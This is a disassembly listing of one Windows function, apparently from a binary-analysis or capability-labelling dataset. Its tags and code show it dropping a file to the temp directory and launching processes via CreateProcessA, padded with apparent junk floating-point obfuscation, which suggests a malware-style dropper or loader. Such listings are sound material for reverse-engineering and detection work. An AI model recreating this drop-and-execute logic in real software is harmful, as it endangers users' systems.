Function at 0x408d70
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x41e748
mov eax, dword fs:[0]
push eax
sub esp, 0x1f0
mov eax, dword [0x426160]
xor eax, esp
mov dword [esp + 0x1e8], eax
push ebx
push esi
push edi
mov eax, dword [0x426160]
xor eax, esp
push eax
lea eax, [esp + 0x200]
mov dword fs:[0], eax
fldz
xor ebx, ebx
mov dword [esp + 0x40], ebx
mov dword [esp + 0x3c], ebx
xor eax, eax
mov word [esp + 0x34], ax
fst qword [esp + 0x44]
fstp qword [esp + 0x7c]
mov dword [esp + 0x38], ebx
fldz
xor ecx, ecx
mov word [esp + 0x50], cx
xor edx, edx
mov word [esp + 0x2c], dx
fstp dword [esp + 0x30]
xor edi, edi
xor esi, esi
mov word [esp + 0x24], ax
mov dword [esp + 0x54], edi
mov dword [esp + 0x58], esi
mov dword [esp + 0x1b0], 0xf
mov dword [esp + 0x1ac], ebx
mov byte [esp + 0x19c], al
push 0x118
mov dword [esp + 0x20c], ebx
call fcn.0040b573
push eax
mov dword [esp + 0x90], eax
call fcn.004029e0
add esp, 8
mov edi, edi
push ebx
call fcn.0040b25a
add esp, 4
cmp edx, esi
mov dword [esp + 0x6c], eax
mov dword [esp + 0x70], edx
jg 0x408e57
jl 0x408e4b
cmp eax, edi
jae 0x408e57
xor edi, edi
xor esi, esi
mov dword [esp + 0x54], edi
mov dword [esp + 0x58], esi
sub eax, edi
sbb edx, esi
mov dword [esp + 0x18], edx
js 0x409b61
jg 0x408e72
cmp eax, 0x708
jbe 0x409b61
mov edx, dword [esp + 0x40]
mov ecx, dword [esp + 0x70]
mov esi, dword [esp + 0x6c]
mov dword [esp + 0x28], edx
fild dword [esp + 0x28]
mov dword [esp + 0x58], ecx
mov dword [esp + 0x54], esi
shr esi, 9
fadd dword [0x423160]
mov dword [esp + 0x64], 0
mov dword [esp + 0x30], esi
fstp dword [0x423160]
fld qword [0x423678]
fld dword [0x423cc4]
mov ax, word [esp + 0x2c]
fadd qword [0x41fa30]
movsx ecx, ax
mov dword [esp + 0x28], ecx
fsubp st(1)
fild dword [esp + 0x28]
faddp st(1)
call fcn.0040b3c0
push 0x408
lea edi, [esi + 0x55]
mov word [esp + 0x30], ax
push 0x4248d0
mov dword [esp + 0x1c], edi
call fcn.004022d0
movzx edx, word [0x4235f4]
movsx ecx, dx
movzx edx, word [esp + 0x2c]
mov dword [esp + 0x70], eax
mov eax, 0xdcf8c77
sub eax, ecx
movsx edx, dx
or ecx, 0xffffffff
add word [0x4235f4], cx
add dword [esp + 0x2c], ecx
sub edx, 0x7b265aa5
add esp, 8
cmp edx, eax
jle 0x408f63
mov ax, word [0x425ed8]
movsx ecx, ax
mov dword [esp + 0x28], ecx
fild dword [esp + 0x28]
fstp dword [esp + 0x28]
fld dword [0x42335c]
fmul dword [esp + 0x28]
call fcn.0040b3c0
mov word [0x425ed8], ax
fld dword [0x42335c]
fadd qword [0x41f368]
fstp dword [0x42335c]
push 0xd
push 0x425edc
call fcn.004022d0
push 0xaf1
push 0x423d38
mov dword [esp + 0x88], eax
call fcn.004022d0
push 0x31e
push 0x423990
mov dword [esp + 0x40], eax
call fcn.004022d0
add esp, 0x18
mov dword [esp + 0x60], eax
cmp esi, edi
je 0x4095c8
mov edx, dword [0x427960]
xor esi, esi
push esi
push edx
call fcn.00402010
add esp, 8
test eax, eax
jne 0x409043
mov eax, dword [0x427968]
fldz
mov ecx, dword [0x4274a4]
xor edx, edx
mov dword [esp + 0x20], esi
fstp dword [esp + 0x20]
mov word [esp + 0x10], dx
mov word [esp + 0x14e], dx
mov edx, 1
mov word [esp + 0x14c], dx
lea edx, [esp + 0x188]
push edx
lea edx, [esp + 0x120]
push edx
push esi
push esi
push 8
push esi
push esi
push esi
push eax
push ecx
mov dword [esp + 0x144], 0x44
mov dword [esp + 0x148], esi
mov dword [esp + 0x14c], esi
mov dword [esp + 0x150], esi
mov dword [esp + 0x170], 1
mov dword [esp + 0x178], esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
movzx eax, word [esp + 0x24]
mov ecx, dword [esp + 0x38]
lea edx, [eax + ecx + 0x1a5188b1]
mov eax, dword [esp + 0x30]
mov ecx, dword [esp + 0x60]
push eax
mov word [esp + 0x28], dx
mov edx, dword [esp + 0x2c]
push ecx
push edx
lea eax, [esp + 0x1c0]
push eax
call fcn.004030d0
add esp, 0x10
fld dword [0x425e80]
mov ecx, dword [esp + 0x38]
fsub qword [0x41fa28]
mov dword [esp + 0x10], ecx
fsub qword [0x41fa20]
fild dword [esp + 0x10]
fadd qword [0x425f20]
fcompp
fnstsw ax
test ah, 1
jne 0x4090b6
fld dword [0x423668]
fsub qword [0x41fa18]
fstp dword [0x423668]
push 0x8b
push 0x423208
call fcn.004022d0
mov ebx, eax
mov eax, dword [esp + 0x80]
add esp, 8
mov esi, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4090d3
mov edi, ebx
sub eax, esi
dec edi
nop
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x4090e0
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 0x2710
push 0
lea edx, [esp + 0x1a0]
push edx
mov ecx, eax
lea eax, [esp + 0x1c0]
and ecx, 3
push ebx
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.00408620
xor ecx, ecx
push 0x8b
push ecx
mov dword [esp + 0x3c], 0
mov word [esp + 0x2c], cx
push ebx
call fcn.0040b470
push ebx
call fcn.0040b32e
movzx edx, word [esp + 0x34]
mov eax, dword [esp + 0x44]
sub edx, eax
mov eax, dword [esp + 0x1c0]
add edx, 0x4554cb71
add esp, 0x24
cmp dword [esp + 0x1b0], 0x10
mov word [esp + 0x10], dx
jae 0x409165
lea eax, [esp + 0x19c]
mov ecx, dword [esp + 0x1ac]
mov edx, dword [esp + 0x68]
push ecx
push eax
push edx
call fcn.004082d0
mov edx, eax
add esp, 0xc
cmp edx, 9
jl 0x40954f
add dword [esp + 0x38], 0xf8a896cf
mov eax, dword [esp + 0x19c]
mov edi, 0x10
cmp dword [esp + 0x1b0], edi
jae 0x4091aa
lea eax, [esp + 0x19c]
mov ecx, dword [eax]
xor eax, eax
cmp eax, dword [esp + 0x70]
jl 0x40954f
jg 0x4091c4
cmp ecx, dword [esp + 0x6c]
jb 0x40954f
fld qword [0x4236a8]
fadd qword [0x41f368]
fstp qword [0x4236a8]
fld qword [0x4236a8]
mov eax, dword [esp + 0x38]
mov ecx, dword [esp + 0x3c]
inc dword [esp + 0x38]
mov dword [esp + 0x20], eax
fild dword [esp + 0x20]
mov dword [esp + 0x20], ecx
faddp st(1)
fild dword [esp + 0x20]
fcompp
fnstsw ax
test ah, 5
jp 0x40920d
add dword [0x425e44], 0x4507484
lea esi, [edx - 1]
cmp esi, dword [esp + 0x1ac]
jbe 0x40921e
call fcn.0040bb11
mov eax, dword [esp + 0x19c]
cmp dword [esp + 0x1b0], edi
jae 0x409235
lea eax, [esp + 0x19c]
mov byte [eax + esi], 0
mov esi, dword [esp + 0x1b0]
mov ebx, dword [esp + 0x19c]
mov eax, ebx
cmp esi, edi
jae 0x409254
lea eax, [esp + 0x19c]
lea ecx, [esp + 0x1b4]
add eax, 8
mov edi, edi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x409280
test dl, dl
je 0x40927c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x409280
add eax, 2
add ecx, 2
test dl, dl
jne 0x409260
xor eax, eax
jmp 0x409285
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x409296
mov dword [esp + 0x3c], 0x11e33334
jmp 0x40954f
cmp esi, edi
jb 0x4093be
mov edi, ebx
test ebx, ebx
je 0x4092d1
mov eax, ebx
cmp esi, 0x10
jae 0x4092b2
lea eax, [esp + 0x19c]
cmp eax, edi
ja 0x4092d1
mov eax, ebx
cmp esi, 0x10
jae 0x4092c4
lea eax, [esp + 0x19c]
mov ecx, dword [esp + 0x1ac]
add eax, ecx
cmp edi, eax
jbe 0x4092dd
call fcn.0040bb11
mov ecx, dword [esp + 0x1ac]
lea esi, [esp + 0x198]
mov ebx, edi
jmp 0x4092f0
cmp dword [esp + 0x1b0], 0x10
mov edx, dword [esp + 0x19c]
mov eax, edx
jae 0x40930a
lea eax, [esp + 0x19c]
lea edi, [eax + ecx]
test edi, edi
je 0x409341
cmp dword [esp + 0x1b0], 0x10
mov eax, edx
jae 0x409324
lea eax, [esp + 0x19c]
cmp eax, edi
ja 0x409341
cmp dword [esp + 0x1b0], 0x10
mov eax, edx
jae 0x40933b
lea eax, [esp + 0x19c]
add eax, ecx
cmp edi, eax
jbe 0x409346
call fcn.0040bb11
cmp esi, 0xfffffffc
je 0x40935f
test esi, esi
je 0x40935a
lea edx, [esp + 0x198]
cmp esi, edx
je 0x40935f
call fcn.0040bb11
cmp ebx, edi
je 0x409415
fld qword [0x4233a0]
mov ax, word [esp + 0x2c]
mov dx, word [esp + 0x50]
fadd qword [0x41fa10]
movsx ecx, ax
mov dword [esp + 0x20], ecx
movsx eax, dx
fild dword [esp + 0x20]
mov dword [esp + 0x20], eax
fild dword [esp + 0x20]
fsubp st(2)
fsubrp st(1)
call fcn.0040b3c0
mov word [esp + 0x2c], ax
inc dword [esp + 0x50]
cmp esi, 0xfffffffc
je 0x4093db
test esi, esi
jne 0x4093b3
call fcn.0040bb11
cmp dword [esi + 0x18], 0x10
jb 0x4093ca
mov eax, dword [esi + 4]
jmp 0x4093cd
lea edi, [esp + 0x19c]
jmp 0x4092a4
lea eax, [esi + 4]
mov ecx, dword [esi + 0x14]
add ecx, eax
cmp ebx, ecx
jb 0x4093db
call fcn.0040bb11
mov byte [ebx], 0
cmp esi, 0xfffffffc
je 0x409408
test esi, esi
jne 0x4093ec
call fcn.0040bb11
cmp dword [esi + 0x18], 0x10
jb 0x4093f7
mov eax, dword [esi + 4]
jmp 0x4093fa
lea eax, [esi + 4]
mov edx, dword [esi + 0x14]
add edx, eax
cmp ebx, edx
jb 0x409408
call fcn.0040bb11
mov ecx, dword [esp + 0x1ac]
inc ebx
jmp 0x4092f0
fld qword [0x423180]
fadd qword [esp + 0x44]
fcomp qword [0x41fa08]
fnstsw ax
fld qword [esp + 0x44]
fld1
fadd st(1), st(0)
fxch st(1)
fstp qword [esp + 0x44]
fadd qword [0x423180]
fstp qword [0x423180]
test ah, 1
jne 0x409452
fld qword [0x41fa00]
fstp qword [0x426028]
push 0x7e
push 0x423208
call fcn.004022d0
xor ebx, ebx
push ebx
mov esi, eax
push ebx
lea eax, [esp + 0x1a8]
push eax
lea ecx, [esp + 0x1c8]
push esi
push ecx
call fcn.00408620
push 0x7e
xor edx, edx
push ebx
mov dword [esp + 0x44], ebx
mov word [esp + 0x34], dx
push esi
call fcn.0040b470
push esi
call fcn.0040b32e
movzx eax, word [esp + 0x3c]
mov ecx, dword [esp + 0x4c]
sub eax, ecx
add eax, 0x4554cb71
push 0xc
push 0x42358c
mov word [esp + 0x44], ax
call fcn.004022d0
add esp, 0x34
mov esi, eax
lea ecx, [eax + 1]
lea ecx, [ecx]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4094c0
sub eax, ecx
push eax
push 0xffffffffffffffff
push esi
lea ecx, [esp + 0x1a4]
call fcn.00404730
mov edi, eax
xor eax, eax
mov dword [esi], eax
xor edx, edx
mov dword [esi + 4], eax
mov dword [esp + 0x20], ebx
mov word [esp + 0x10], dx
push esi
mov dword [esi + 8], eax
call fcn.0040b32e
movzx eax, word [esp + 0x14]
mov ecx, dword [esp + 0x24]
sub eax, ecx
add eax, 0x4554cb71
mov word [esp + 0x14], ax
mov dx, word [esp + 0x28]
movsx eax, dx
add esp, 4
cmp eax, 0x28439c2d
jg 0x409541
fld dword [0x425f1c]
fadd qword [0x423900]
fstp dword [0x425f1c]
fld qword [0x423900]
fsub qword [0x41f368]
fstp qword [0x423900]
mov ecx, dword [esp + 0x1ac]
add ecx, 0xfffffff5
cmp edi, ecx
je 0x409564
mov eax, dword [esp + 0x30]
inc eax
mov dword [esp + 0x30], eax
cmp eax, dword [esp + 0x14]
jne 0x408fa7
jmp 0x4095c8
push 0xb
push edi
lea ecx, [esp + 0x1a0]
call fcn.004053e0
fld qword [esp + 0x44]
fsub dword [0x4235c0]
mov dword [esp + 0x64], 1
fld dword [0x4232c4]
fsub qword [0x41f9f8]
fsub qword [0x41f9f0]
fcompp
fnstsw ax
fld dword [0x4235c0]
fadd qword [0x41f368]
fstp dword [0x4235c0]
test ah, 5
jp 0x4095c8
fld qword [esp + 0x7c]
fsub qword [0x41f9e8]
fmul qword [0x423908]
fstp qword [0x423908]
fld qword [esp + 0x7c]
mov esi, dword [esp + 0x68]
fsub qword [0x41f9e0]
xor edi, edi
push 0x408
xor edx, edx
fstp qword [esp + 0x80]
push edi
mov dword [esp + 0x1c], edi
mov word [esp + 0x18], dx
push esi
call fcn.0040b470
push esi
call fcn.0040b32e
movzx eax, word [esp + 0x20]
mov ecx, dword [esp + 0x24]
sub eax, ecx
mov ecx, dword [esp + 0x88]
add eax, 0x4554cb71
mov word [esp + 0x20], ax
xor eax, eax
mov dword [ecx], eax
mov dword [ecx + 4], eax
xor edx, edx
mov dword [ecx + 8], eax
mov dword [esp + 0x24], edi
mov word [esp + 0x20], dx
push ecx
mov byte [ecx + 0xc], al
call fcn.0040b32e
movzx eax, word [esp + 0x24]
mov ecx, dword [esp + 0x28]
sub eax, ecx
add eax, 0x4554cb71
mov word [esp + 0x24], ax
mov dx, word [esp + 0x40]
movsx eax, dx
add esp, 0x14
cmp eax, 0x58a57dc0
je 0x409678
fld dword [0x425230]
fsub qword [0x41f9d8]
fsub qword [0x41f9d0]
call fcn.0040b3c0
mov dword [esp + 0x40], eax
mov esi, dword [esp + 0x60]
push 0x31e
xor ecx, ecx
push edi
mov dword [esp + 0x1c], edi
mov word [esp + 0x18], cx
push esi
call fcn.0040b470
push esi
call fcn.0040b32e
movzx edx, word [esp + 0x20]
mov eax, dword [esp + 0x24]
mov esi, dword [esp + 0x38]
sub edx, eax
add edx, 0x4554cb71
mov word [esp + 0x20], dx
movzx ecx, word [esp + 0x34]
mov edx, dword [0x426030]
sub ecx, edx
push 0xaf1
add ecx, 0x252287b3
mov word [esp + 0x38], cx
xor eax, eax
push edi
mov dword [esp + 0x2c], edi
mov word [esp + 0x28], ax
push esi
call fcn.0040b470
push esi
call fcn.0040b32e
movzx ecx, word [esp + 0x30]
mov edx, dword [esp + 0x34]
sub ecx, edx
add ecx, 0x4554cb71
mov word [esp + 0x30], cx
push 0x40
fld dword [0x424864]
lea eax, [esp + 0x1d8]
fsubr qword [0x41f9c8]
push edi
push eax
fadd qword [0x41f9c0]
fstp dword [esp + 0x5c]
call fcn.0040b470
add esp, 0x2c
cmp dword [esp + 0x64], edi
je 0x409b61
movzx ecx, word [esp + 0x2c]
movsx edx, cx
movzx ecx, word [esp + 0x34]
dec dword [esp + 0x34]
mov eax, 0x7475b7f3
sub eax, edx
movsx edx, cx
cmp edx, eax
je 0x409761
mov eax, dword [0x425e7c]
mov dword [esp + 0x14], eax
fild dword [esp + 0x14]
fstp dword [esp + 0x30]
mov ecx, dword [esp + 0x88]
push 0x708
push ecx
call fcn.00403620
add esp, 8
cmp dword [esp + 0x1ac], 0x200
jbe 0x409b3b
push 0x370
call fcn.0040b573
mov dx, word [esp + 0x30]
mov ebx, eax
movsx eax, dx
mov dword [esp + 0x18], eax
add esp, 4
push ebx
fild dword [esp + 0x18]
push 0xeb
fmul qword [esp + 0x4c]
fstp qword [esp + 0x4c]
dec dword [esp + 0x34]
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push ebx
call fcn.00403ee0
fld qword [esp + 0x84]
mov cx, word [esp + 0x3c]
fsubr qword [0x41f9b8]
movsx edx, cx
mov dword [esp + 0x1c], edx
fild dword [esp + 0x1c]
fmulp st(1)
call fcn.0040b3c0
push 3
mov word [esp + 0x40], ax
push 0x425f98
call fcn.004022d0
mov edi, eax
push edi
push ebx
call fcn.0040bf88
mov esi, eax
mov eax, dword [0x423970]
mov dword [esp + 0x2c], eax
fild dword [esp + 0x2c]
add esp, 0x18
fadd qword [0x425200]
inc dword [0x423970]
fcomp qword [0x41f9b0]
fnstsw ax
test ah, 0x44
jnp 0x409844
fld qword [esp + 0x44]
fmul qword [0x41f9a8]
fstp qword [esp + 0x44]
jmp 0x40985e
mov ecx, dword [0x4233fc]
mov dword [esp + 0x14], ecx
fild dword [esp + 0x14]
fmul dword [0x42391c]
fstp dword [0x42391c]
xor eax, eax
xor edx, edx
mov dword [esp + 0x14], eax
mov word [edi], ax
mov word [esp + 0x10], dx
push edi
mov byte [edi + 2], al
call fcn.0040b32e
movzx eax, word [esp + 0x14]
mov ecx, dword [esp + 0x18]
sub eax, ecx
add eax, 0x4554cb71
mov word [esp + 0x14], ax
add esp, 4
fld dword [0x425224]
mov dx, word [0x425ec8]
mov cx, word [esp + 0x34]
movsx eax, dx
mov dword [esp + 0x14], eax
movsx edx, cx
fild dword [esp + 0x14]
mov dword [esp + 0x14], edx
fsubp st(1)
fild dword [esp + 0x14]
faddp st(1)
fsubr dword [esp + 0x30]
fstp dword [esp + 0x30]
inc dword [esp + 0x34]
cmp dword [esp + 0x1b0], 0x10
mov eax, dword [esp + 0x19c]
jae 0x4098df
lea eax, [esp + 0x19c]
mov ecx, dword [esp + 0x1ac]
push esi
push 1
push ecx
push eax
call fcn.0040be42
inc dword [esp + 0x50]
mov edx, dword [esp + 0x50]
mov dword [esp + 0x24], edx
fild dword [esp + 0x24]
push esi
fadd dword [0x4232d8]
fsub qword [0x41f9a0]
fmul qword [esp + 0x58]
fstp qword [esp + 0x58]
fld dword [0x4232d8]
fsub qword [0x41f368]
fstp dword [0x4232d8]
call fcn.0040bc64
add esp, 0x14
push 0x104
lea eax, [ebx + 0x104]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x15
push str.hi1_
call fcn.004022d0
fld dword [0x4236a0]
fsub qword [0x41f368]
mov edi, eax
fstp dword [0x4236a0]
mov eax, dword [0x425f90]
mov dword [esp + 0x1c], eax
fild dword [esp + 0x1c]
fld dword [0x4236a0]
fadd qword [0x41f998]
fsubp st(1)
call fcn.0040b3c0
push 0x20
mov dword [0x425f90], eax
push 0x423680
call fcn.004022d0
fld dword [0x4251f0]
mov cx, word [esp + 0x3c]
movsx edx, cx
mov dword [esp + 0x24], edx
mov esi, eax
fild dword [esp + 0x24]
faddp st(1)
call fcn.0040b3c0
mov word [0x4251c0], ax
mov eax, dword [0x427960]
push eax
push esi
lea eax, [ebx + 0x104]
push eax
push edi
lea eax, [ebx + 0x208]
push 0x168
push eax
call fcn.0040bf9f
xor eax, eax
mov dword [esi], eax
mov dword [esi + 4], eax
mov dword [esi + 8], eax
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], eax
xor ecx, ecx
mov dword [esp + 0x3c], eax
mov dword [esi + 0x18], eax
mov word [esp + 0x38], cx
push esi
mov dword [esi + 0x1c], eax
call fcn.0040b32e
movzx edx, word [esp + 0x3c]
mov eax, dword [esp + 0x40]
sub edx, eax
add edx, 0x4554cb71
mov word [esp + 0x3c], dx
xor eax, eax
mov dword [edi], eax
mov dword [edi + 4], eax
mov dword [edi + 8], eax
mov dword [edi + 0xc], eax
xor esi, esi
xor ecx, ecx
mov dword [edi + 0x10], eax
mov dword [esp + 0x40], esi
mov word [esp + 0x3c], cx
push edi
mov byte [edi + 0x14], al
call fcn.0040b32e
movzx edx, word [esp + 0x40]
mov eax, dword [esp + 0x44]
mov ecx, dword [0x427960]
sub edx, eax
add edx, 0x4554cb71
push 1
mov word [esp + 0x44], dx
push ecx
call fcn.00402010
add esp, 0x38
fldz
xor edx, edx
mov dword [esp + 0x14], esi
fstp dword [esp + 0x14]
xor eax, eax
mov word [esp + 0x10], dx
mov word [esp + 0x106], ax
lea edx, [esp + 0x178]
push edx
lea eax, [esp + 0xd8]
push eax
push esi
push esi
push 8
push esi
push esi
push esi
lea eax, [ebx + 0x208]
push eax
mov ecx, 1
push ebx
mov dword [esp + 0xfc], 0x44
mov dword [esp + 0x100], esi
mov dword [esp + 0x104], esi
mov dword [esp + 0x108], esi
mov dword [esp + 0x128], 1
mov dword [esp + 0x130], esi
mov word [esp + 0x12c], cx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 0x370
push esi
push ebx
call fcn.0040b470
push ebx
call fcn.0040b32e
mov ecx, dword [0x423570]
sub ecx, 0x67ca1748
mov dword [esp + 0x24], ecx
fild dword [esp + 0x24]
add esp, 0x10
fadd qword [0x423cb0]
call fcn.0040b3c0
mov dword [0x4238f8], eax
fld qword [0x423cb0]
fsub qword [0x41f368]
push 0x15f90
fstp qword [0x423cb0]
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [esp + 0x30]
mov dx, word [esp + 0x24]
fadd qword [0x41f990]
movsx eax, dx
mov dword [esp + 0x14], eax
fild dword [esp + 0x14]
fmulp st(1)
call fcn.0040b3c0
mov word [esp + 0x24], ax
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [0x423d08]
mov ecx, dword [esp + 0x3c]
fadd qword [0x41f988]
mov dx, word [0x425ed8]
mov dword [esp + 0x14], ecx
fisub dword [esp + 0x14]
movsx eax, dx
mov dword [esp + 0x14], eax
fild dword [esp + 0x14]
faddp st(1)
call fcn.0040b3c0
mov word [0x425ed8], ax
dec dword [esp + 0x3c]
fld dword [0x423d08]
fadd qword [0x41f368]
mov ecx, dword [0x427960]
xor esi, esi
push esi
push ecx
fstp dword [0x423d08]
call fcn.00402010
add esp, 8
test eax, eax
jne 0x409c55
mov eax, dword [0x427968]
fldz
mov ecx, dword [0x4274a4]
xor edx, edx
mov dword [esp + 0x14], esi
fstp dword [esp + 0x14]
mov word [esp + 0x10], dx
mov word [esp + 0xbe], dx
mov edx, 1
mov word [esp + 0xbc], dx
lea edx, [esp + 0x168]
push edx
lea edx, [esp + 0x90]
push edx
push esi
push esi
push 8
push esi
push esi
push esi
push eax
push ecx
mov dword [esp + 0xb4], 0x44
mov dword [esp + 0xb8], esi
mov dword [esp + 0xbc], esi
mov dword [esp + 0xc0], esi
mov dword [esp + 0xe0], 1
mov dword [esp + 0xe8], esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov eax, dword [0x425fbc]
mov dword [esp + 0x14], eax
fild dword [esp + 0x14]
fld qword [0x423168]
fsub qword [0x41f980]
fadd qword [0x41f978]
fsubp st(1)
call fcn.0040b3c0
mov edi, dword [esp + 0x54]
mov esi, dword [esp + 0x58]
mov dword [0x425fbc], eax
fld qword [0x423168]
fsub qword [0x41f368]
xor ebx, ebx
fstp qword [0x423168]
jmp 0x408e30